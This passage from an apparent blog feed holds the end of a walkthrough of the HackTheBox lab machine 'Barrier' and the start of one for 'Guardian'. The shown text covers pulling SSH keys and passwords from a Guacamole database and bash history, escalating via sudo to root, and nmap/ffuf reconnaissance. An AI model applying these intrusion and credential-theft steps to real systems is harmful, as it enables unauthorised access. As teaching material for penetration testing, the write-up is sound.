RbMtpQ+E1LDSXu1h8B+xilsYxAXG+N8GvIV2anBJVZfHqyP9mhKWXL5A4OUD9I9ss4RbPB4J8mwHvVTPZnZVYSps5H85L+Yky
9l9SpQuE5K/8na93hDS79VoRO3OWR7Kf8A7IBm/Pa75giwN4qNeCPqPZIDps7VXjgMiouqf039tgQx5496G6Q0E+T6oBpzl30
BgBtM1xaVnnWpv54NveBIk66pVUpr6vtkgaq7AljCjADCVGCb5w/yp5G+DGNg0Cn8YkgHo/Qtd/Lzh6ruVEHeaqHaxtFpKZqO
6HGTdvihEmuK8vtdZfZvc92QfLrdCViDb/SVhQ0H5LWoOQ46V6dWtEbcBoIcMyJtyM= maki@barrier
</span></code></pre></div></div>

<p>I’ll save both private keys and connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/barrier-maki-ed25519 maki@barrier.vl
<span class="go">Unable to negotiate with 10.129.234.46 port 22: no matching host key type found. Their offer: ssh-rsa
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/barrier-maki-rsa maki@barrier.vl
<span class="go">Unable to negotiate with 10.129.234.46 port 22: no matching host key type found. Their offer: ssh-rsa
</span></code></pre></div></div>

<p>Both fail with an error about needing <code class="language-plaintext highlighter-rouge">ssh-rsa</code>. This is not about the user key I’m offering, but the host key. Modern OpenSSH clients (8.8+) disabled the ssh-rsa host key algorithm by default because it uses SHA-1 for signatures, which is considered weak. Even though my user key is fine, the client is refusing to connect because it won’t accept the server’s RSA host key. I’ll add <code class="language-plaintext highlighter-rouge">-oHostKeyAlgorithms=+ssh-rsa</code> to accept that:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/barrier-maki-ed25519 <span class="nt">-oHostKeyAlgorithms</span><span class="o">=</span>+ssh-rsa maki@barrier.vl
<span class="go">Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-168-generic x86_64)
...[snip]...
</span><span class="gp">maki@barrier:~$</span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-maki_adm">Shell as maki_adm</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="users">Users</h4>

<p>maki’s home directory is otherwise pretty empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 36
drwxr-x--- 5 maki maki 4096 Jun 24  2025 .
drwxr-xr-x 5 root root 4096 Dec 23  2024 ..
lrwxrwxrwx 1 root root    9 Jun 24  2025 .bash_history -&gt; /dev/null
-rw-r--r-- 1 maki maki  220 Dec 22  2024 .bash_logout
-rw-r--r-- 1 maki maki 3771 Dec 22  2024 .bashrc
drwx------ 2 maki maki 4096 Dec 22  2024 .cache
drwxrwxr-x 3 maki maki 4096 Dec 22  2024 .local
-rw-r--r-- 1 maki maki  807 Dec 22  2024 .profile
drwx------ 2 maki maki 4096 Dec 22  2024 .ssh
-rw-r----- 1 root maki   33 Mar  1 13:09 user.txt
</span></code></pre></div></div>

<p>There are two other users with home directories in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">local  maki  maki_adm
</span></code></pre></div></div>

<p>This lines up with the users with shells configured in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
local:x:1000:1000:local:/home/local:/bin/bash
maki:x:1001:1001:,,,:/home/maki:/bin/bash
maki_adm:x:1002:1002:,,,:/home/maki_adm:/bin/bash
</span></code></pre></div></div>

<p>maki can’t access either of the other two home directories.</p>

<p>maki can’t run <code class="language-plaintext highlighter-rouge">sudo</code> without a password.</p>

<h4 id="file-system">File System</h4>

<p><code class="language-plaintext highlighter-rouge">/srv</code> has the GitLab runners configuration, but maki can’t access it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:/srv/gitlab-runner/config$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 20
drwxr-xr-x 2 root root 4096 Jan 28 11:24 .
drwxr-xr-x 3 root root 4096 Dec 15  2024 ..
-rw------- 1 root root  869 Dec 29  2024 config.toml
-rw-r--r-- 1 root root 2004 Jan 28 11:21 gitlab_ca.crt
-rw------- 1 root root   14 Dec 15  2024 .runner_system_id
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/opt</code> has <code class="language-plaintext highlighter-rouge">containerd</code> (supporting the Docker installation) and <code class="language-plaintext highlighter-rouge">icinga2</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:/opt$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">containerd  icinga2  saml.xml
</span></code></pre></div></div>

<p><a href="https://icinga.com/">Icinga2</a> is an open-source network monitoring system, forked from <a href="https://www.nagios.org/">Nagios</a>, but the directory is empty.</p>

<h4 id="guacamole">Guacamole</h4>

<p>The Guacamole configuration is in <code class="language-plaintext highlighter-rouge">/etc/guacamole</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:/etc/guacamole$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">extensions  guacamole.properties  lib
</span></code></pre></div></div>

<p>The configuration file is <code class="language-plaintext highlighter-rouge">guacamole.properties</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># MySQL properties</span>
mysql-hostname: 127.0.0.1
mysql-port: 3306
mysql-database: guac_db
mysql-username: guac_user
mysql-password: guac2024

saml-idp-metadata-url: file:///opt/saml.xml
saml-idp-url: http://barrier.vl:9000/application/saml/guac/sso/binding/redirect/
saml-callback-url: http://barrier.vl:8080/guacamole/
saml-entity-id: http://barrier.vl:8080
saml-strict: <span class="nb">false

</span>saml-group-attribute: <span class="nb">groups
</span>saml-username-attribute: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn

saml-compress-requests: <span class="nb">true
</span>saml-compress-responses: <span class="nb">true

</span>logback-level: INFO

guacd-hostname: localhost
guacd-port: 4822
guacd-ssl: <span class="nb">false

</span>saml-debug: <span class="nb">true

</span>extension-priority: saml
<span class="c">#extension-priority: *, saml</span>
</code></pre></div></div>

<p>I’ll use that MySQL information to connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:/$</span><span class="w"> </span>mysql <span class="nt">-h</span> 127.0.0.1 <span class="nt">-u</span> guac_user <span class="nt">-pguac2024</span> guac_db
<span class="go">...[snip]...
</span><span class="gp">MariaDB [guac_db]&gt;</span><span class="w"> 
</span></code></pre></div></div>

<p>There are 23 tables:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [guac_db]&gt; </span><span class="k">show</span> <span class="n">tables</span><span class="p">;</span>
<span class="go">+---------------------------------------+
| Tables_in_guac_db                     |
+---------------------------------------+
| guacamole_connection                  |
| guacamole_connection_attribute        |
| guacamole_connection_group            |
| guacamole_connection_group_attribute  |
| guacamole_connection_group_permission |
| guacamole_connection_history          |
| guacamole_connection_parameter        |
| guacamole_connection_permission       |
| guacamole_entity                      |
| guacamole_sharing_profile             |
| guacamole_sharing_profile_attribute   |
| guacamole_sharing_profile_parameter   |
| guacamole_sharing_profile_permission  |
| guacamole_system_permission           |
| guacamole_user                        |
| guacamole_user_attribute              |
| guacamole_user_group                  |
| guacamole_user_group_attribute        |
| guacamole_user_group_member           |
| guacamole_user_group_permission       |
| guacamole_user_history                |
| guacamole_user_password_history       |
| guacamole_user_permission             |
+---------------------------------------+
23 rows in set (0.000 sec)
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">guacamole_connection</code> table has two entries:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [guac_db]&gt; </span><span class="k">select</span> <span class="n">connection_id</span><span class="p">,</span><span class="k">connection_name</span><span class="p">,</span><span class="n">protocol</span> <span class="k">from</span> <span class="n">guacamole_connection</span> <span class="err">\</span><span class="k">G</span>
<span class="go">*************************** 1. row ***************************
  connection_id: 1
connection_name: Maintenance
       protocol: ssh
*************************** 2. row ***************************
  connection_id: 2
connection_name: Maki_Adm
       protocol: ssh
2 rows in set (0.000 sec)
</span></code></pre></div></div>

<p>These are Apache Guacamole connections, saved remote desktop/SSH sessions configured in Guacamole’s web interface. Each one defines how Guacamole connects to a remote machine:</p>

<ul>
  <li>Maintenance — an SSH connection (likely for routine admin/maintenance tasks)</li>
  <li>Maki_Adm — an SSH connection (likely an admin session for the maki user)</li>
</ul>

<p>The actual connection details (hostname, port, username, password) are stored in the <code class="language-plaintext highlighter-rouge">guacamole_connection_parameter</code> table. These entries are a bit difficult to display, so I’ll look at them by <code class="language-plaintext highlighter-rouge">connection_id</code> (as there are only two). Maintenance has four entries:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [guac_db]&gt; </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">guacamole_connection_parameter</span> <span class="k">where</span> <span class="n">connection_id</span><span class="o">=</span><span class="mi">1</span> <span class="err">\</span><span class="k">G</span>
<span class="go">*************************** 1. row ***************************
  connection_id: 1
 parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
  connection_id: 1
 parameter_name: port
parameter_value: 22
*************************** 3. row ***************************
  connection_id: 1
 parameter_name: private-key
parameter_value: -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[snip]...
xJJxfFxrulh8EAAAAMbWFraUBiYXJyaWVyAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
*************************** 4. row ***************************
  connection_id: 1
 parameter_name: username
parameter_value: maki
4 rows in set (0.000 sec)
</span></code></pre></div></div>

<p>The connection is to localhost port 22 as maki with a given SSH key. I already have access as maki. I’ll check out <code class="language-plaintext highlighter-rouge">connection_id</code> of 2:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [guac_db]&gt; </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">guacamole_connection_parameter</span> <span class="k">where</span> <span class="n">connection_id</span><span class="o">=</span><span class="mi">2</span> <span class="err">\</span><span class="k">G</span>
<span class="go">*************************** 1. row ***************************
  connection_id: 2
 parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
  connection_id: 2
 parameter_name: passphrase
parameter_value: 3V32FN6oViMPxyzC
*************************** 3. row ***************************
  connection_id: 2
 parameter_name: port
parameter_value: 22
*************************** 4. row ***************************
  connection_id: 2
 parameter_name: private-key
parameter_value: -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F

kADHiHrSzLE3Qb9kotrZ/y/Hr9eNob7G2ZdhvuuFVWy3iVVJWp7ZBIzyffMRxiWU
...[snip]...
nMKus8DAp8nPQdCVJf70PcxEFcnPmuwOINoX0izxk21fHDyRuCMM2i335qiQVVND
-----END RSA PRIVATE KEY-----
*************************** 5. row ***************************
  connection_id: 2
 parameter_name: username
parameter_value: maki_adm
5 rows in set (0.000 sec)
</span></code></pre></div></div>

<p>This connection is also to localhost port 22, but this time as maki_adm with a given SSH key and its passphrase.</p>

<h3 id="ssh-1">SSH</h3>

<p>I’ll save that key on my VM and connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/barrier-maki_adm <span class="nt">-oHostKeyAlgorithms</span><span class="o">=</span>+ssh-rsa maki_adm@barrier.vl 
<span class="go">Enter passphrase for key '/home/oxdf/keys/barrier-maki_adm': 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-168-generic x86_64)
...[snip]...
</span><span class="gp">maki_adm@barrier:~$</span><span class="w">
</span></code></pre></div></div>

<p>I’ll need to use the passphrase from the DB, as well as the <code class="language-plaintext highlighter-rouge">-oHostKeyAlgorithms=+ssh-rsa</code> option.</p>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-1">Enumeration</h3>

<p>As maki_adm, there isn’t a ton of new stuff to access. The user’s home directory is rather empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki_adm@barrier:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 32
drwxr-x--- 4 maki_adm admin 4096 Dec 22  2024 .
drwxr-xr-x 5 root     root  4096 Dec 23  2024 ..
-rw-r--r-- 1 root     root    26 Dec 22  2024 .bash_history
-rw-r--r-- 1 maki_adm admin  220 Dec 22  2024 .bash_logout
-rw-r--r-- 1 maki_adm admin 3771 Dec 22  2024 .bashrc
drwx------ 2 maki_adm admin 4096 Dec 22  2024 .cache
-rw-r--r-- 1 maki_adm admin  807 Dec 22  2024 .profile
drwxrwxr-x 2 maki_adm admin 4096 Dec 22  2024 .ssh
-rw-r--r-- 1 maki_adm admin    0 Dec 22  2024 .sudo_as_admin_successful
</span></code></pre></div></div>

<p>However, I’ll note that the <code class="language-plaintext highlighter-rouge">.bash_history</code> file isn’t linked to <code class="language-plaintext highlighter-rouge">/dev/null</code>. That’s a big tell on a HTB machine. It looks like it’s running <code class="language-plaintext highlighter-rouge">sudo</code> to become root, and the next line looks like a password:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>su 
Va4kSjgTHSd55ZLv
</code></pre></div></div>

<p>That password works for maki_adm to run <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki_adm@barrier:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for maki_adm: 
Matching Defaults entries for maki_adm on barrier:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User maki_adm may run the following commands on barrier:
    (ALL) ALL
</span></code></pre></div></div>

<p>Not only that, but maki_adm can run any command as any user.</p>

<h3 id="sudo">sudo</h3>

<p>I’ll use <code class="language-plaintext highlighter-rouge">sudo -i</code> to get a root shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki_adm@barrier:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-i</span>
<span class="gp">root@barrier:~#</span><span class="w">
</span></code></pre></div></div>

<p>And grab <code class="language-plaintext highlighter-rouge">root.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@barrier:~#</span><span class="w"> </span><span class="nb">cat </span>root.txt
<span class="go">d6563aab************************
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-barrier" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="ctf" /><category term="htb-barrier" /><category term="vulnlab" /><category term="nmap" /><category term="ubuntu" /><category term="lft" /><category term="container" /><category term="gitlab" /><category term="python" /><category term="tomcat" /><category term="feroxbuster" /><category term="authentik" /><category term="saml" /><category term="guacamole" /><category term="cve-2024-45409" /><category term="cyberchef" /><category term="gitlab-cicd" /><category term="ffuf" /><category term="subdomain" /><category term="nginx" /><category term="docker" /><category term="mysql" /><category term="bash-history" /><category term="burp" /><category term="burp-proxy" /><category term="password-reuse" /><summary type="html"><![CDATA[Barrier is a Linux box with GitLab, Authentik, and Apache Guacamole. I’ll exploit a SAML signature bypass vulnerability in GitLab’s Ruby SAML library to forge a SAML assertion and log in as admin. From GitLab’s CI/CD variables, I’ll recover an Authentik API token and use it to create an admin account. With Authentik admin access, I’ll impersonate a user in Guacamole to get an SSH shell. From there, I’ll find database credentials for Guacamole’s MariaDB backend and extract an SSH private key and passphrase for another user. That user’s bash history contains a password that works with sudo to get root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/barrier-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/barrier-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Guardian</title><link href="https://0xdf.gitlab.io/2026/02/28/htb-guardian.html" rel="alternate" type="text/html" title="HTB: Guardian" /><published>2026-02-28T14:45:00+00:00</published><updated>2026-02-28T14:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/28/htb-guardian</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/28/htb-guardian.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/guardian-cover.webp" />
    <img loading="lazy" src="/img/guardian-cover.png" alt="Guardian" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Guardian is a Linux box hosting a university portal built with PHP. I’ll exploit an IDOR in the chat feature to find Gitea credentials, then use the source code to identify a vulnerability in PhpSpreadsheet that allows XSS through a malicious XLSX file to steal a lecturer’s session cookie. From the lecturer account, I’ll combine a CSRF vulnerability with a weak CSRF token implementation to create an admin account. As admin, I’ll abuse a local file include with PHP filter chain injection to get RCE. After cracking a database password hash, I’ll pivot through users by modifying a writable Python script. I’ll escalate to root abusing a silly binary wrapper around apache2ctl many ways.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/703 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/guardian" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-guardian.webp" />
          <img src="/icons/box-guardian.png" alt="Guardian" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/guardian" target="_blank" class="htb-box-name">Guardian</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Hard">
      Hard
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1961466414553821521">30 Aug 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">28 Feb 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="/img/guardian-diff.webp" />
          <img src="/img/guardian-diff.png" alt="Rated difficulty for Guardian" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="/img/guardian-radar.webp" />
          <img src="/img/guardian-radar.png" alt="Radar chart for Guardian" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">02:26:55</span></span><a href="https://app.hackthebox.com/users/1138532" target="_blank" rel="noopener"><img alt="Anvith" src="https://www.hackthebox.com/badge/image/1138532" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Anvith</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">02:38:57</span></span><a href="https://app.hackthebox.com/users/1138532" target="_blank" rel="noopener"><img alt="Anvith" src="https://www.hackthebox.com/badge/image/1138532" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Anvith</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/1187088" target="_blank" rel="noopener"><img alt="sl1de" src="https://www.hackthebox.com/badge/image/1187088" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> sl1de</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds two open TCP ports, SSH (22) and HTTP (80):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.237.248
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-22 18:28 UTC
...[snip]...
Nmap scan report for 10.129.237.248
Host is up, received timestamp-reply ttl 63 (0.025s latency).
Scanned at 2026-02-22 18:28:48 UTC for 9s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.20 seconds
           Raw packets sent: 86899 (3.824MB) | Rcvd: 65641 (2.626MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,80 <span class="nt">-sCV</span> 10.129.237.248
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-22 18:29 UTC
Nmap scan report for 10.129.237.248
Host is up (0.021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_  256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.67 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH and Apache</a> versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10 kinetic).</p>

<p>Both ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<p>Apache is redirecting the request to <code class="language-plaintext highlighter-rouge">guardian.htb</code>.</p>

<h3 id="subdomain-brute-force---tcp-80">Subdomain Brute Force - TCP 80</h3>

<p>Given the use of hostname based routing, I’ll brute force for subdomains of <code class="language-plaintext highlighter-rouge">guardian.htb</code> that respond differently from the default case using <code class="language-plaintext highlighter-rouge">ffuf</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> http://10.129.237.248 <span class="nt">-H</span> <span class="s2">"Host: FUZZ.guardian.htb"</span> <span class="nt">-w</span> /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.237.248
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.guardian.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

portal                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 41ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1834 req/sec :: Duration: [0:00:15] :: Errors: 0 ::
</span></code></pre></div></div>

<p>It finds <code class="language-plaintext highlighter-rouge">portal.guardian.htb</code>. I’ll update my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.237.248 guardian.htb portal.guardian.htb
</code></pre></div></div>

<h3 id="guardianhtb---tcp-80">guardian.htb - TCP 80</h3>

